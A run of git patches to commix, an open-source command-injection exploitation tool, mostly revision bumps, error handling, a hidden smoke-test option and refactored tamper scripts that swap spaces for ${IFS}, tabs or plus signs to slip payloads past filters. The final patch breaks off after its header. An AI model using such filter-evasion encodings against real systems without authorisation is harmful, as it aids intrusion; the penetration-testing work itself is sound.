Date: Fri, 22 Oct 2021 09:57:02 +0300
Subject: [PATCH 013/560] Minor update regarding README.md
---
.github/workflows/{test.yml => builds.yml} | 0
README.md | 2 +-
doc/translations/README-gr-GR.md | 2 +-
3 files changed, 2 insertions(+), 2 deletions(-)
rename .github/workflows/{test.yml => builds.yml} (100%)
diff --git a/.github/workflows/test.yml b/.github/workflows/builds.yml
similarity index 100%
rename from .github/workflows/test.yml
rename to .github/workflows/builds.yml
diff --git a/README.md b/README.md
index 093f35e2c7..cb6625b562 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
-
+
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index 2332a6b154..b327a08b07 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,7 +1,7 @@
-
+
From 6274e18c504d476f53c4addda2d6c655ab5d3fa6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 25 Oct 2021 09:26:36 +0300
Subject: [PATCH 014/560] Minor update
---
src/utils/settings.py | 2 +-
src/utils/version.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c768479eda..bed3cd310c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "13"
+REVISION = "14"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
diff --git a/src/utils/version.py b/src/utils/version.py
index 03a6b475cf..b3497d8eb6 100644
--- a/src/utils/version.py
+++ b/src/utils/version.py
@@ -28,7 +28,7 @@ def show_version():
"""
def python_version():
PYTHON_VERSION = sys.version.split()[0]
- if PYTHON_VERSION.split(".")[0] != 3:
+ if PYTHON_VERSION.split(".")[0] != "3":
warn_msg = "Deprecated Python version detected: "
warn_msg += PYTHON_VERSION + ". "
warn_msg += "You are advised to use Python version 3."
From afa82e7897a9a296fad3e50ea02723a04433e2f4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 26 Oct 2021 07:54:55 +0300
Subject: [PATCH 015/560] Minor refactoring
---
src/thirdparty/beautifulsoup/__init__.py | 82 ++++++++++++++++++++++--
src/thirdparty/flatten_json/__init__.py | 9 +++
src/utils/settings.py | 2 +-
3 files changed, 85 insertions(+), 8 deletions(-)
diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py
index b50e6972c9..81b1ece759 100644
--- a/src/thirdparty/beautifulsoup/__init__.py
+++ b/src/thirdparty/beautifulsoup/__init__.py
@@ -2,15 +2,83 @@
# encoding: UTF-8
"""
-This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Beautiful Soup
+Elixir and Tonic
+"The Screen-Scraper's Friend"
+http://www.crummy.com/software/BeautifulSoup/
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
+Beautiful Soup parses a (possibly invalid) XML or HTML document into a
+tree representation. It provides methods and Pythonic idioms that make
+it easy to navigate, search, and modify the tree.
+
+A well-formed XML/HTML document yields a well-formed data
+structure. An ill-formed XML/HTML document yields a correspondingly
+ill-formed data structure. If your document is only locally
+well-formed, you can use this library to find and process the
+well-formed part of it.
+
+Beautiful Soup works with Python 2.2 and up. It has no external
+dependencies, but you'll have more success at converting data to UTF-8
+if you also install these three packages:
+
+* chardet, for auto-detecting character encodings
+ http://chardet.feedparser.org/
+* cjkcodecs and iconv_codec, which add more encodings to the ones supported
+ by stock Python.
+ http://cjkpython.i18n.org/
+
+Beautiful Soup defines classes for two main parsing strategies:
+
+ * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific
+ language that kind of looks like XML.
+
+ * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid
+ or invalid. This class has web browser-like heuristics for
+ obtaining a sensible parse tree in the face of common HTML errors.
+
+Beautiful Soup also defines a class (UnicodeDammit) for autodetecting
+the encoding of an HTML or XML document, and converting it to
+Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser.
+
+For more than you ever wanted to know about Beautiful Soup, see the
+documentation:
+http://www.crummy.com/software/BeautifulSoup/documentation.html
+
+Here, have some legalese:
+
+Copyright (c) 2004-2010, Leonard Richardson
+
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+ * Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials provided
+ with the distribution.
+
+ * Neither the name of the the Beautiful Soup Consortium and All
+ Night Kosher Bakery nor the names of its contributors may be
+ used to endorse or promote products derived from this software
+ without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT.
-For more see the file 'readme/COPYING' for copying permission.
"""
pass
\ No newline at end of file
diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py
index e69de29bb2..e74cd45430 100644
--- a/src/thirdparty/flatten_json/__init__.py
+++ b/src/thirdparty/flatten_json/__init__.py
@@ -0,0 +1,9 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+Flattens JSON objects in Python.
+flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table.
+"""
+
+pass
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bed3cd310c..3b8c691fbc 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "14"
+REVISION = "15"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From bd9407e9a4e8c92e0081fff47be47b3b021f1758 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 27 Oct 2021 09:03:51 +0300
Subject: [PATCH 016/560] Minor refactoring
---
src/utils/common.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index c505a3d1fe..9f6e1dd73c 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -178,7 +178,7 @@ def unhandled_exception():
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- elif "MemoryError" in exc_msg:
+ elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")):
err_msg = "Memory exhaustion detected."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 3b8c691fbc..5b83ffa606 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "15"
+REVISION = "16"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From fe49d33fe36b778b8cf7d2febd6ed735b4fac109 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 28 Oct 2021 09:47:14 +0300
Subject: [PATCH 017/560] Fixes
https://github.com/commixproject/commix/issues/697
---
src/utils/common.py | 14 +++++++-------
src/utils/settings.py | 2 +-
2 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index 9f6e1dd73c..6ee6d068b6 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -164,13 +164,6 @@ def unhandled_exception():
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- elif all(_ in exc_msg for _ in ("No such file", "_'")):
- err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). "
- err_msg += "You should retrieve the latest development version from official GitHub "
- err_msg += "repository at '" + settings.GIT_URL + "'."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
elif "must be pinned buffer, not bytearray" in exc_msg:
err_msg = "Error occurred at Python interpreter which "
err_msg += "is fixed in 2.7.x. Please update accordingly. "
@@ -199,6 +192,13 @@ def unhandled_exception():
print(settings.print_critical_msg(err_msg))
raise SystemExit()
+ elif "Invalid argument" in exc_msg:
+ err_msg = "Corrupted installation detected. "
+ err_msg += "You should retrieve the latest (dev) version from official GitHub "
+ err_msg += "repository at '" + settings.GIT_URL + "'."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
elif all(_ in exc_msg for _ in ("No such file", "_'")):
err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). "
err_msg += "You should retrieve the latest (dev) version from official GitHub "
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5b83ffa606..6d42185cf1 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "16"
+REVISION = "17"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 0ea50034164755c0c16885b7f6c0ec8c6529f8ba Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 29 Oct 2021 09:26:15 +0300
Subject: [PATCH 018/560] Improvement regarding mechanism which nagging if used
"dev" version is > 30 days old.
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 3 ++-
src/utils/settings.py | 2 +-
3 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 5416217ce1..cf91aefc46 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Replaced: The `--encoding` option has been replaced with `--codec`.
diff --git a/src/core/main.py b/src/core/main.py
index 8cf11964fd..5260966071 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -637,7 +637,8 @@ def main(filename, url):
# Get total number of days from last update
if os.path.isfile(settings.SETTINGS_PATH):
- common.days_from_last_update()
+ if settings.STABLE_RELEASE == False:
+ common.days_from_last_update()
# Define the level of verbosity.
if menu.options.verbose > 4:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6d42185cf1..284000b89a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "17"
+REVISION = "18"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From d95b052843b0f42e55f08fb46fa137d88f88f6dd Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 1 Nov 2021 08:26:07 +0200
Subject: [PATCH 019/560] Added a new (hidden) option `--smoke-test` that runs
the basic smoke testing.
---
.github/workflows/builds.yml | 2 ++
doc/CHANGELOG.md | 1 +
src/core/main.py | 6 +++++
src/core/testing.py | 51 ++++++++++++++++++++++++++++++++++++
src/utils/menu.py | 7 +++++
src/utils/settings.py | 4 ++-
6 files changed, 70 insertions(+), 1 deletion(-)
create mode 100644 src/core/testing.py
diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml
index f4f0ee6120..e70e2e3e08 100644
--- a/.github/workflows/builds.yml
+++ b/.github/workflows/builds.yml
@@ -19,3 +19,5 @@ jobs:
python-version: ${{ matrix.python-version }}
- name: Basic import test
run: python -c "import commix"
+ - name: Basic smoke test
+ run: python commix.py --smoke-test
\ No newline at end of file
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index cf91aefc46..d4b3abc27a 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Replaced: The `--encoding` option has been replaced with `--codec`.
diff --git a/src/core/main.py b/src/core/main.py
index 5260966071..6bcdf94ef9 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -37,6 +37,7 @@
from src.utils import session_handler
from src.utils import simple_http_server
from src.thirdparty.colorama import Fore, Back, Style, init
+from src.core.testing import smoke_test
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
@@ -59,6 +60,7 @@
# Use Colorama to make Termcolor work on Windows too :)
init()
+
"""
Define HTTP User-Agent header.
"""
@@ -627,6 +629,10 @@ def main(filename, url):
#raise SystemExit()
try:
+
+ if menu.options.smoke_test:
+ smoke_test()
+
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
diff --git a/src/core/testing.py b/src/core/testing.py
new file mode 100644
index 0000000000..c3ecf26a51
--- /dev/null
+++ b/src/core/testing.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import re
+import os
+import sys
+from src.utils import settings
+
+"""
+Runs the basic smoke testing
+"""
+def smoke_test():
+ _ = True
+ file_paths = []
+ for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
+ file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames])
+
+ for filename in file_paths:
+ if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename:
+ path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0])
+ path = path.replace(settings.COMMIX_ROOT_PATH, '.')
+ path = path.replace(os.sep, '.').lstrip('.')
+ if "." in path:
+ try:
+ __import__(path)
+ except Exception as ex:
+ error_msg = "Failed while importing module '" + path + "' (" + str(ex) + ")."
+ print(settings.print_error_msg(error_msg))
+ _ = False
+
+ if _:
+ status = "succeeded without any issues"
+ else:
+ status = "failed"
+ info_msg = "The smoke-test has been " + status + "."
+ print(settings.print_info_msg(info_msg))
+ raise SystemExit()
+
+
diff --git a/src/utils/menu.py b/src/utils/menu.py
index ab554450e9..793d89e96e 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -18,6 +18,7 @@
from src.utils import settings
from optparse import OptionGroup
from optparse import OptionParser
+from optparse import SUPPRESS_HELP as SUPPRESS
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -598,6 +599,12 @@ def banner():
default=False,
help="Disable console output coloring.")
+ # Hidden options
+parser.add_option("--smoke-test",
+ action="store_true",
+ dest="smoke_test",
+ help=SUPPRESS)
+
parser.add_option_group(general)
parser.add_option_group(target)
parser.add_option_group(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 284000b89a..0637679274 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "18"
+REVISION = "19"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -340,6 +340,8 @@ def sys_argv_errors():
# Git issue URL.
ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new"
+COMMIX_ROOT_PATH = os.path.abspath(os.curdir)
+
# Output Directory
OUTPUT_DIR = ".output/"
From d8d6f88718124584fb5b221391c643316ae7295e Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 2 Nov 2021 07:44:54 +0200
Subject: [PATCH 020/560] Minor refactoring
---
src/core/injections/controller/checks.py | 17 +++++++++++++-
src/core/tamper/space2htab.py | 12 +++++-----
src/core/tamper/space2ifs.py | 28 ++++++++++++++----------
src/core/tamper/space2plus.py | 16 +++++++++-----
src/core/tamper/space2vtab.py | 21 ++++++++++--------
src/utils/settings.py | 2 +-
6 files changed, 62 insertions(+), 34 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index cfdb17ce4c..ea88d36d74 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -992,7 +992,7 @@ def whitespace_check(payload):
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2htab"
else:
- menu.options.tamper = "space2htab"
+ menu.options.tamper = "space2htab"
settings.WHITESPACES[0] = "%09"
# Enable the "space2vtab" tamper script.
@@ -1238,6 +1238,21 @@ def perform_payload_modification(payload):
from src.core.tamper import hexencode
payload = hexencode.tamper(payload)
+ for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
+ # Encode spaces.
+ if encode_type == 'space2ifs':
+ from src.core.tamper import space2ifs
+ payload = space2ifs.tamper(payload)
+ if encode_type == 'space2plus':
+ from src.core.tamper import space2plus
+ payload = space2plus.tamper(payload)
+ if encode_type == 'space2htab':
+ from src.core.tamper import space2htab
+ payload = space2htab.tamper(payload)
+ if encode_type == 'space2vtab':
+ from src.core.tamper import space2vtab
+ payload = space2vtab.tamper(payload)
+
return payload
"""
diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py
index d7aeb11eb9..c37d3e4bd9 100644
--- a/src/core/tamper/space2htab.py
+++ b/src/core/tamper/space2htab.py
@@ -22,10 +22,12 @@
__tamper__ = "space2htab"
-settings.TAMPER_SCRIPTS[__tamper__] = True
-if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "%09"
-else:
- settings.WHITESPACES.append("%09")
+def tamper(payload):
+ settings.TAMPER_SCRIPTS[__tamper__] = True
+ if settings.WHITESPACES[0] == "%20":
+ settings.WHITESPACES[0] = "%09"
+ else:
+ settings.WHITESPACES.append("%09")
+ return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
index 0df13643a2..a5d58e1fe1 100644
--- a/src/core/tamper/space2ifs.py
+++ b/src/core/tamper/space2ifs.py
@@ -25,16 +25,20 @@
__tamper__ = "space2ifs"
-if settings.TARGET_OS != "win":
- settings.TAMPER_SCRIPTS[__tamper__] = True
- if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "${IFS}"
+def tamper(payload):
+ if settings.TARGET_OS != "win":
+ settings.TAMPER_SCRIPTS[__tamper__] = True
+ if settings.WHITESPACES[0] == "%20":
+ settings.WHITESPACES[0] = "${IFS}"
+ else:
+ settings.WHITESPACES.append("${IFS}")
else:
- settings.WHITESPACES.append("${IFS}")
-else:
- warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
- print
-
-# eof
\ No newline at end of file
+ if settings.TRANFROM_PAYLOAD == None:
+ settings.TRANFROM_PAYLOAD = False
+ warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script."
+ sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
+ sys.stdout.flush()
+ print
+ return payload
+
+# eof
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
index 27dc3cc22a..16efec438d 100644
--- a/src/core/tamper/space2plus.py
+++ b/src/core/tamper/space2plus.py
@@ -22,10 +22,14 @@
__tamper__ = "space2plus"
-settings.TAMPER_SCRIPTS[__tamper__] = True
-if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "+"
-else:
- settings.WHITESPACES.append("+")
-
+if not settings.TAMPER_SCRIPTS[__tamper__]:
+ settings.TAMPER_SCRIPTS[__tamper__] = True
+
+def tamper(payload):
+ settings.TAMPER_SCRIPTS[__tamper__] = True
+ if settings.WHITESPACES[0] == "%20":
+ settings.WHITESPACES[0] = "+"
+ else:
+ settings.WHITESPACES.append("+")
+ return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
index 7d535c8375..fc6e610e34 100644
--- a/src/core/tamper/space2vtab.py
+++ b/src/core/tamper/space2vtab.py
@@ -22,14 +22,17 @@
__tamper__ = "space2vtab"
-if settings.TARGET_OS == "win":
- settings.TAMPER_SCRIPTS[__tamper__] = True
- if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "%0b"
+def tamper(payload):
+ if settings.TARGET_OS == "win":
+ settings.TAMPER_SCRIPTS[__tamper__] = True
+ if settings.WHITESPACES[0] == "%20":
+ settings.WHITESPACES[0] = "%0b"
+ else:
+ settings.WHITESPACES.append("%0b")
else:
- settings.WHITESPACES.append("%0b")
-else:
- warn_msg = "Unix target host(s), does not support vertical tab(s)."
- print(settings.print_warning_msg(warn_msg))
-
+ if settings.TRANFROM_PAYLOAD == None:
+ settings.TRANFROM_PAYLOAD = False
+ warn_msg = "Unix target host(s), does not support vertical tab(s)."
+ print(settings.print_warning_msg(warn_msg))
+ return payload
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0637679274..ab7eb5b2d5 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -216,7 +216,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "19"
+REVISION = "20"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 763b11e2157b4e2aab6d9551c88c9e95ae8c6af4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 3 Nov 2021 09:47:28 +0200
Subject: [PATCH 021/560] Minor update
---
src/core/testing.py | 17 ++++++++++++-----
src/utils/settings.py | 8 +++++++-
2 files changed, 19 insertions(+), 6 deletions(-)
diff --git a/src/core/testing.py b/src/core/testing.py
index c3ecf26a51..ab7ce8547d 100644
--- a/src/core/testing.py
+++ b/src/core/testing.py
@@ -22,6 +22,9 @@
Runs the basic smoke testing
"""
def smoke_test():
+ info_msg = "Executing smoke test."
+ print(settings.print_info_msg(info_msg))
+
_ = True
file_paths = []
for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
@@ -35,17 +38,21 @@ def smoke_test():
if "." in path:
try:
__import__(path)
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Succeeded importing '" + str(path) + "' module."
+ print(settings.print_debug_msg(debug_msg))
except Exception as ex:
- error_msg = "Failed while importing module '" + path + "' (" + str(ex) + ")."
+ error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'."
print(settings.print_error_msg(error_msg))
_ = False
+ result = "Smoke test "
if _:
- status = "succeeded without any issues"
+ result = result + "passed."
+ print(settings.print_bold_info_msg(result))
else:
- status = "failed"
- info_msg = "The smoke-test has been " + status + "."
- print(settings.print_info_msg(info_msg))
+ result = result + "failed."
+ print(settings.print_bold_error_msg(result))
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index ab7eb5b2d5..e24411ede7 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -53,6 +53,7 @@ class HTTPMETHOD(object):
WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] "
WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT
ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] "
+ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] "
CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] "
PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] "
SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL
@@ -67,6 +68,11 @@ def print_error_msg(err_msg):
result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL
return result
+# Print error message
+def print_bold_error_msg(err_msg):
+ result = ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL
+ return result
+
# Print critical error message
def print_critical_msg(err_msg):
result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL
@@ -216,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "20"
+REVISION = "21"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From cfab07fc2422090de56de9eee8944d721a32bfc4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 4 Nov 2021 08:43:54 +0200
Subject: [PATCH 022/560] Minor update
---
src/core/main.py | 6 +++---
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 6bcdf94ef9..089e1d72d0 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -630,9 +630,6 @@ def main(filename, url):
try:
- if menu.options.smoke_test:
- smoke_test()
-
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
@@ -655,6 +652,9 @@ def main(filename, url):
else:
settings.VERBOSITY_LEVEL = menu.options.verbose
+ if menu.options.smoke_test:
+ smoke_test()
+
if not menu.options.batch:
settings.OS_CHECKS_NUM = 1
for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e24411ede7..8e2d35b61e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "21"
+REVISION = "22"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 0b5218e405b7aa8a17abbdb3ff4c8f5412f7e89a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 24 Nov 2021 18:49:41 +0200
Subject: [PATCH 023/560] Minor update regarding basic heuristic detection (for
code injection).
---
src/core/injections/controller/controller.py | 6 +++++-
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 6b0b69ca4c..0073821f90 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -241,6 +241,9 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m
Proceed to the injection process for the appropriate parameter.
"""
def injection_proccess(url, check_parameter, http_request_method, filename, timesec):
+ inject_http_headers = False
+ if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS):
+ inject_http_headers = True
if menu.options.ignore_code:
info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. "
@@ -278,7 +281,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if not settings.LOAD_SESSION:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech):
# Check for identified warnings
- url = heuristic_basic(url, http_request_method)
+ if not inject_http_headers:
+ url = heuristic_basic(url, http_request_method)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
while True:
if not menu.options.batch:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8e2d35b61e..639a5edfc8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "22"
+REVISION = "23"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6c75512ca6c4e909db7d520b8bd1fab8c2992601 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 28 Nov 2021 11:08:56 +0200
Subject: [PATCH 024/560] Fixes
https://github.com/commixproject/commix/issues/715
---
src/core/requests/headers.py | 12 +++++++++---
src/utils/settings.py | 2 +-
2 files changed, 10 insertions(+), 4 deletions(-)
